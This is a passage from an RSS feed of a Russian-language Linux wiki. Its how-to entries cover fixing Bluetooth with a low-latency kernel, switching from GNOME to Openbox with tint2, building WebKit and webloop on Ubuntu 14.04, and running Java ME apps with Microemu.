&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-247&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В моем случае - помогла установка ядра &lt;strong&gt;low-latency&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install -y linux-image-lowlatency&lt;/pre&gt;

&lt;p&gt;
 и увеличение лимита ресурсов для сервиса &lt;strong&gt;bluetooth&lt;/strong&gt;. &lt;br/&gt;

В конфигурацию сервиса &lt;strong&gt;bluetooth&lt;/strong&gt; нужно добавить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Service]
...
CPUAccounting=yes
CPUWeight=1000
CPUQuota=100%
MemorySwapMax=0 &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;248-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 23 Apr 2020 08:58:45 +0000</pubDate>
        </item>
        <item>
            <title>замена-тяжелого-gnome-на-быстрыи-openbox</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B7%D0%B0%D0%BC%D0%B5%D0%BD%D0%B0-%D1%82%D1%8F%D0%B6%D0%B5%D0%BB%D0%BE%D0%B3%D0%BE-gnome-%D0%BD%D0%B0-%D0%B1%D1%8B%D1%81%D1%82%D1%80%D1%8B%D0%B8-openbox</link>
            <description>
&lt;p&gt;
1. Устанавливаем Openbox:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install xinit openbox&lt;/pre&gt;

&lt;p&gt;
2. Далее копируем конфиги под своим пользователем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir -p ~/.config/openbox/ 
cp /etc/xdg/openbox/rc.xml ~/.config/openbox/rc.xml
cp /etc/xdg/openbox/menu.xml ~/.config/openbox/menu.xml
cp /etc/xdg/openbox/autostart ~/.config/openbox/autostart&lt;/pre&gt;

&lt;p&gt;
3. Создаем/изменяем файл &lt;strong&gt;~/.xinitrc&lt;/strong&gt; и пишем туда:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;exec openbox-session&lt;/pre&gt;

&lt;p&gt;
4. Автозапуск команд.&lt;br/&gt;

При запуске иксы смотрят файл &lt;strong&gt;~/.xinitrc&lt;/strong&gt; . Если его у вас нету - создайте. В него можно прописывать команды для тех программ, которые нужно запускать автоматически. Вот пример:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;psi &amp;amp;
qutim &amp;amp;
conky &amp;amp;
xxkb &amp;amp;
feh --bg-scale /files/Pictures/Абстракции/organic.jpg &amp;amp;
tint2 &amp;amp;
openbox&lt;/pre&gt;

&lt;p&gt;
Обратите внимание - команда openbox идет последней и после всех команд, идущих перед ней, стоит символ &amp;amp;. Если в этом примере “tint2 &amp;amp;” изменить на “tint2”, то openbox не запустится, пока не завершится процесс &lt;strong&gt;tint2&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
5. Панель &lt;strong&gt;tint2&lt;/strong&gt;&lt;br/&gt;

Дефолтный файл конфигурации tint2 называется ~/.config/tint2/tint2rc . Конфиг очень прост и интуитивен - мне хватило пяти минут, чтобы методом тыка привести tint2 панель в нужный мне вид. Для того, чтобы tint2 стартовала автоматически, я добавил строку tint2 &amp;amp; в ~/.xinitrc . &lt;br/&gt;

Установка на Ubuntu:&lt;br/&gt;

 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libcairo2-dev libpango1.0-dev libglib2.0-dev libimlib2-dev libxinerama-dev libx11-dev libxdamage-dev libxcomposite-dev libxrender-dev libxrandr-dev cmake  libgtk2.0-dev&lt;/pre&gt;

&lt;p&gt;
Скачиваем и распаковываем. Последние релизы тут: &lt;a href=&quot;http://code.google.com/p/tint2/downloads/list&quot; class=&quot;urlextern&quot; title=&quot;http://code.google.com/p/tint2/downloads/list&quot; rel=&quot;ugc nofollow&quot;&gt;http://code.google.com/p/tint2/downloads/list&lt;/a&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://tint2.googlecode.com/files/tint2-0.11.tar.bz2
tar xvf tint2-0.11.tar.bz2&lt;/pre&gt;

&lt;p&gt;
Ставим. Так написано в файле INSTALL.txt&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd tint2-0.11
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr ../
make
sudo make install&lt;/pre&gt;

&lt;p&gt;
Теперь можно запустить эту панельку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tint2&lt;/pre&gt;

&lt;p&gt;
И прописать ее в автозапуск в файл &lt;strong&gt;$HOME/.config/openbox/autostart&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;(sleep 2s &amp;amp;&amp;amp; tint2) &amp;amp;&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>запуск_webloop_на_ubuntu_14.04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA_webloop_%D0%BD%D0%B0_ubuntu_14.04</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ставим_go&quot;&gt;Ставим Go&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://storage.googleapis.com/golang/go1.6.linux-amd64.tar.gz --no-check-certificate
sudo tar -C /usr/local -xzf ./go1.6.linux-amd64.tar.gz&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c Go&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_go&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-184&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;прописываем_переменные_gopath_и_goroot&quot;&gt;Прописываем переменные GOPATH и GOROOT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я работаю в контейнере openvz, поэтому просто поправил &lt;strong&gt;/etc/environment&lt;/strong&gt; и он стал таким:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;PATH=&amp;quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/local/go/bin:&amp;quot;
GOROOT=/usr/local/go
GOPATH=/root/go&lt;/pre&gt;

&lt;p&gt;
При этом путь &lt;strong&gt;GOPATH&lt;/strong&gt; не может быть относительным типа &lt;strong&gt;$HOME/go&lt;/strong&gt;,  а только абсолютным - &lt;strong&gt;/home/user/go&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 GOPATH \u0438 GOROOT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c_\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435_gopath_\u0438_goroot&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;185-732&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;обновляем_gcc&quot;&gt;Обновляем GCC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для сборки &lt;strong&gt;Webkit&lt;/strong&gt; понадобится &lt;strong&gt;GCC&lt;/strong&gt; версии не ниже &lt;strong&gt;4.9&lt;/strong&gt;, однако в &lt;strong&gt;Ubuntu 14.04.04&lt;/strong&gt; в стандартной поставке &lt;strong&gt;GCC 4.8&lt;/strong&gt;.&lt;br/&gt;

При этом, попытки скомпилировать WebKit с GCC 5.3.0 уперлись в ошибку типа: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;undefined reference to `llvm::RTDyldMemoryManager::getSymbolAddress(std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;)&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Пробую ставить gcc 4.9:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt-get update
sudo apt-get install gcc-4.9
sudo update-alternatives --remove-all gcc
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20
sudo update-alternatives --config gcc&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20
sudo update-alternatives --install /usr/bin/cpp cpp /usr/bin/cpp-4.9 20
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.9 20
sudo update-alternatives --config gcc
sudo update-alternatives --config cpp
sudo update-alternatives --config g++&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c GCC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c_gcc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;733-1917&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;собираем_webgit_с_gtk&quot;&gt;Собираем WebGit с GTK&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install git pkg-config cmake clang nano  build-essential bison gperf ruby-full libcairo2-dev libicu-dev gettext libjpeg62-dev libxslt1-dev libsqlite3-dev libatspi2.0-dev libwebp-dev libgles2-mesa-dev libgl1-mesa-dev geoclue-2.0 geoclue libgeoclue-dev gobject-introspection&lt;/pre&gt;

&lt;p&gt;
Клонируем репозиторий WebKit
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone git://git.webkit.org/WebKit.git WebKit&lt;/pre&gt;

&lt;p&gt;
Теперь нужно установить зависимости с помощью скрипта - &lt;strong&gt;Tools/gtk/install-dependencies&lt;/strong&gt; &lt;br/&gt;

Однако, в нем некорректно указан пакет &lt;strong&gt;libtool-bin&lt;/strong&gt; &lt;br/&gt;

Нужно изменить &lt;strong&gt;libtool-bin&lt;/strong&gt; на &lt;strong&gt;libtool&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo Tools/gtk/install-dependencies&lt;/pre&gt;

&lt;p&gt;
Дальше скачиваем еще немного необходимых модулей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Tools/Scripts/update-webkitgtk-libs&lt;/pre&gt;

&lt;p&gt;
Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Tools/Scripts/build-webkit --gtk --prefix=/usr/local --release&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c WebGit \u0441 GTK&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_webgit_\u0441_gtk&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1918-2923&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;пробуем_скачать_и_запустить_webloop&quot;&gt;Пробуем скачать и запустить webloop&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;go get github.com/sourcegraph/webloop/...&lt;/pre&gt;

&lt;p&gt;
Он выругается, что есть какой-то неизвестный тип или отсутствует пакет. Скорее всего нужна правильная версия GTK+. 
Если установить версию GTK+ старше 3.10, то будут сообщения, указывающие на отсуствие refrence &lt;strong&gt;gdk_wayland_display_get_type&lt;/strong&gt;
А если поставить версию 3.10, то тоже не соберется с сообщением об неивестном типе - &lt;strong&gt;unknown type name &amp;#039;GtkPopover&amp;#039;&lt;/strong&gt; .
Поэтому выход такой - Сначала ставим версию GTK+ 3.10, а потом 3.16. 
Но прежде - нужно пройти &lt;strong&gt;dependence hell&lt;/strong&gt;.
Список, которые поставил я выглядит так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;-rw-r--r-- 1 root root  9427862 Jun  2 09:06 adwaita-icon-theme-full_3.16.2.1-2ubuntu1_all.deb
-rw-r--r-- 1 root root   943512 Jun  2 09:06 adwaita-icon-theme_3.16.2.1-2ubuntu1_all.deb
-rw-r--r-- 1 root root    48712 Jan 19  2015 fontconfig-config_2.11.1-0ubuntu6_all.deb
-rw-r--r-- 1 root root    17030 Sep 11 06:16 gcc-5-base_5.2.1-17ubuntu1_amd64.deb
-rw-r--r-- 1 root root    17728 May 14 06:20 gir1.2-atk-1.0_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root   187352 Jul 24 09:34 gir1.2-gtk-3.0_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    12836 Aug 12 18:24 gir1.2-javascriptcoregtk-3.0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    20950 Nov 18  2014 gir1.2-pango-1.0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    26614 Aug 12 18:24 gir1.2-webkit2-3.0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root  1315042 Jul  6 11:41 humanity-icon-theme_0.6.9_all.deb
-rw-r--r-- 1 root root   378772 Sep 11 05:18 lib64stdc++6_5.2.1-17ubuntu1_i386.deb
-rw-r--r-- 1 root root    57782 May 14 06:20 libatk1.0-0_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root    16898 May 14 06:20 libatk1.0-data_2.16.0-2_all.deb
-rw-r--r-- 1 root root    79070 May 14 06:20 libatk1.0-dev_2.16.0-2_amd64.deb
-rw-r--r-- 1 root root    37258 Jul 30 05:34 libboost-filesystem1.58.0_1.58.0+dfsg-0ubuntu5_amd64.deb
-rw-r--r-- 1 root root     9454 Jul 30 05:34 libboost-system1.58.0_1.58.0+dfsg-0ubuntu5_amd64.deb
-rw-r--r-- 1 root root    17416 Apr  8 08:12 libcairo-gobject2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    54382 Apr  8 08:12 libcairo-script-interpreter2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   593992 Apr  8 08:12 libcairo2-dev_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   558844 Apr  8 08:12 libcairo2_1.14.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root    20282 Jun  9 07:13 libcap2-bin_2.24-9_amd64.deb
-rw-r--r-- 1 root root   100690 Jun  9 22:51 libcolord2_1.2.11-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    39008 Aug  8 06:11 libelf1_0.163-4ubuntu1_amd64.deb
-rw-r--r-- 1 root root   104426 Jun  8  2014 libepoxy-dev_1.2-1_amd64.deb
-rw-r--r-- 1 root root   164522 Jun  8  2014 libepoxy0_1.2-1_amd64.deb
-rw-r--r-- 1 root root   640896 Jan 19  2015 libfontconfig1-dev_2.11.1-0ubuntu6_amd64.deb
-rw-r--r-- 1 root root   126516 Jan 19  2015 libfontconfig1_2.11.1-0ubuntu6_amd64.deb
-rw-r--r-- 1 root root   632734 Sep 10 08:13 libfreetype6-dev_2.5.2-2ubuntu3.1_amd64.deb
-rw-r--r-- 1 root root   314522 Sep 10 13:03 libfreetype6_2.5.2-2ubuntu3.1_amd64.deb
-rw-r--r-- 1 root root    88266 Oct 27  2014 libgirepository-1.0-1_1.42.0-2.2_amd64.deb
-rw-r--r-- 1 root root  1106104 Sep  7 07:38 libglib2.0-0_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root    39468 Sep  7 07:38 libglib2.0-bin_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root  1367218 Sep  7 07:38 libglib2.0-dev_2.45.7-1_amd64.deb
-rw-r--r-- 1 root root   729218 Sep  4 13:20 libgstreamer1.0-0_1.5.90-1_amd64.deb
-rw-r--r-- 1 root root  2300010 Jul 24 09:34 libgtk-3-0_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   196084 Jul 24 09:34 libgtk-3-common_3.16.6-1ubuntu1_all.deb
-rw-r--r-- 1 root root   863430 Jul 24 09:34 libgtk-3-dev_3.16.6-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root   178560 Jan  5  2015 libharfbuzz-dev_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root    11124 Jan  5  2015 libharfbuzz-gobject0_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root     5446 Jan  5  2015 libharfbuzz-icu0_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root   131906 Jan  5  2015 libharfbuzz0b_0.9.37-1_amd64.deb
-rw-r--r-- 1 root root  7652886 Aug  8 19:18 libicu55_55.1-4_amd64.deb
-rw-r--r-- 1 root root  1851120 Aug 12 18:24 libjavascriptcoregtk-3.0-0_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    33452 Aug 12 18:24 libjavascriptcoregtk-3.0-bin_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    21176 Aug 12 18:24 libjavascriptcoregtk-3.0-dev_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    56706 May 23 19:16 libjson-glib-1.0-0_1.0.4-1_amd64.deb
-rw-r--r-- 1 root root     5852 May 23 19:16 libjson-glib-1.0-common_1.0.4-1_all.deb
-rw-r--r-- 1 root root   136966 Nov 17  2014 liblcms2-2_2.6-3ubuntu2_amd64.deb
-rw-r--r-- 1 root root    22578 Sep  3 15:30 libmirclient-dev_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root   153826 Sep  3 15:30 libmirclient9_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    15476 Sep  3 15:30 libmircommon-dev_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    62966 Sep  3 15:30 libmircommon5_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root    94278 Sep  3 15:30 libmirprotobuf1_0.15.1+15.10.20150903-0ubuntu1_amd64.deb
-rw-r--r-- 1 root root   151888 Nov 18  2014 libpango-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root   287528 Nov 18  2014 libpango1.0-dev_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    20612 Nov 18  2014 libpangocairo-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    33446 Nov 18  2014 libpangoft2-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    15264 Nov 18  2014 libpangoxft-1.0-0_1.36.8-3_amd64.deb
-rw-r--r-- 1 root root    58274 Aug  6 07:28 libprotobuf-lite9v5_2.6.1-1.2_amd64.deb
-rw-r--r-- 1 root root    31798 Mar 17 09:40 librest-0.7-0_0.7.92-3_amd64.deb
-rw-r--r-- 1 root root    91300 Aug  8 13:16 librsvg2-2_2.40.10-1_amd64.deb
-rw-r--r-- 1 root root     5038 Aug  8 13:16 librsvg2-common_2.40.10-1_amd64.deb
-rw-r--r-- 1 root root   391722 Sep 11 06:30 libstdc++6_5.2.1-17ubuntu1_amd64.deb
-rw-r--r-- 1 root root    21978 Jun 13 07:12 libwayland-client0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root    10242 Jun 13 07:12 libwayland-cursor0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root   111378 Jun 13 07:12 libwayland-dev_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root    26868 Jun 13 07:12 libwayland-server0_1.8.1-1_amd64.deb
-rw-r--r-- 1 root root 15053220 Aug 12 18:24 libwebkit2gtk-3.0-25_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   169216 Aug 12 18:24 libwebkit2gtk-3.0-dev_2.4.9-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   107506 Aug 12 18:24 libwebkitgtk-3.0-common_2.4.9-2ubuntu2_all.deb
-rw-r--r-- 1 root root    62644 Aug 12 18:24 libwebkitgtk-common-dev_2.4.9-2ubuntu2_all.deb
-rw-r--r-- 1 root root   164654 May 13 07:11 libwebp5_0.4.3-1.3_amd64.deb
-rw-r--r-- 1 root root   570876 Aug  4  2014 libx11-6_1.6.2-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root   639830 Aug  4  2014 libx11-dev_1.6.2-2ubuntu2_amd64.deb
-rw-r--r-- 1 root root    45694 Jul 13  2014 libxft-dev_2.3.2-1_amd64.deb
-rw-r--r-- 1 root root    36120 Jul 13  2014 libxft2_2.3.2-1_amd64.deb
-rw-r--r-- 1 root root    97170 Jul 20 04:17 libxkbcommon0_0.5.0-1ubuntu2_amd64.deb
-rw-r--r-- 1 root root    24504 Apr  8 08:34 libxrender-dev_0.9.8-1build1_amd64.deb
-rw-r--r-- 1 root root    18482 Apr  8 08:34 libxrender1_0.9.8-1build1_amd64.deb
-rw-r--r-- 1 root root   176418 Sep 10 10:05 ubuntu-mono_14.04+15.10.20150910-0ubuntu1_all.deb&lt;/pre&gt;

&lt;p&gt;
Их все я выкачал вручную и поставил:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -i ./*.deb&lt;/pre&gt;

&lt;p&gt;
По просьбе трудищихся могу выложить файлик, где собраны зависимости. 
&lt;/p&gt;

&lt;p&gt;
Потом скачиваем, компилим и ставим две версии GTK:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftp.gnome.org/pub/gnome/sources/gtk+/3.10/gtk+-3.10.2.tar.xz
tar -xvf gtk+-3.10.2.tar.xz
cd gtk+-3.10.2
./configure
make
make install

wget http://ftp.gnome.org/pub/gnome/sources/gtk+/3.16/gtk+-3.16.6.tar.xz
tar -xvf gtk+-3.16.6.tar.xz
cd gtk+-3.16.6
./configure
make
make install&lt;/pre&gt;

&lt;p&gt;
И вот после этого скорее всего удастся скачать и собрать webtool:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;go install github.com/sourcegraph/webloop/...&lt;/pre&gt;

&lt;p&gt;
И даже запустить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;static-reverse-proxy -target=http://example.com -http=:13000&lt;/pre&gt;

&lt;p&gt;
Но! при попытке открытия сайтика вылезет:  &lt;strong&gt;Gtk-WARNING : cannot open display:&lt;/strong&gt;
Тут на помощь придет &lt;strong&gt;Xvfb&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install xvfb xserver-xorg-core x11-xkb-utils xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic &lt;/pre&gt;

&lt;p&gt;
проверяем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Xvfb :99 -ac&lt;/pre&gt;

&lt;p&gt;
И теперь можем запустить нашу webloop:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xvfb-run --server-args=&amp;quot;-screen 0, 1280x1024x24&amp;quot; /root/go/bin/static-reverse-proxy -target=http://www.sitename.ru -http=:13000 -unfinished&lt;/pre&gt;

&lt;p&gt;
И радуемся.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c webloop&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u0443\u0435\u043c_\u0441\u043a\u0430\u0447\u0430\u0442\u044c_\u0438_\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c_webloop&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2924-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>запуск_мобильных_приложений_java_jme_в_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA_%D0%BC%D0%BE%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_java_jme_%D0%B2_ubuntu</link>
            <description>
&lt;p&gt;
Несмотря на то, что платформа JME уже практически мертва, иногда необходимо запустить JME-приложение на компьютере.
&lt;/p&gt;

&lt;p&gt;
Для этих целей был создан &lt;a href=&quot;https://code.google.com/archive/p/microemu/downloads&quot; class=&quot;urlextern&quot; title=&quot;https://code.google.com/archive/p/microemu/downloads&quot; rel=&quot;ugc nofollow&quot;&gt;Microemu&lt;/a&gt;. Утащил на всякий случай к себе: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/microemulator-2.0.4.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:microemulator-2.0.4.zip (1.6 MB)&quot;&gt;microemulator-2.0.4.zip&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Скачиваем, распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://wiki.autosys.tk/lib/exe/fetch.php?media=linux_faq:microemulator-2.0.4.zip
unzip microemulator-2.0.4.zip&lt;/pre&gt;

&lt;p&gt;
Устанавливаем Java если она еще не установлена:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install default-jdk&lt;/pre&gt;

&lt;p&gt;
Переходим в папку с распакованным &lt;strong&gt;microemulator&lt;/strong&gt; и делаем файл &lt;strong&gt;microemulator.jar&lt;/strong&gt; исполняемым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd microemulator-2.0.4
chmod +x microemulator.jar&lt;/pre&gt;

&lt;p&gt;
переходим в папку  и запускаем: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;java -jar ./microemulator.jar&lt;/pre&gt;

&lt;p&gt;
Должно открыться окно:
&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/microremu.jpg&quot; class=&quot;media&quot; title=&quot;linux_faq:microremu.jpg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/microremu.jpg?w=200&amp;amp;tok=e27ffd&quot; class=&quot;mediacenter&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;
Дальше в появившемся окне жмем &lt;strong&gt;File&lt;/strong&gt; → &lt;strong&gt;Open MIDlet file&lt;/strong&gt; и выбираем нужный &lt;strong&gt;.jar&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>значки_в_трее_kubuntu_16.04_sni_indicators</title>
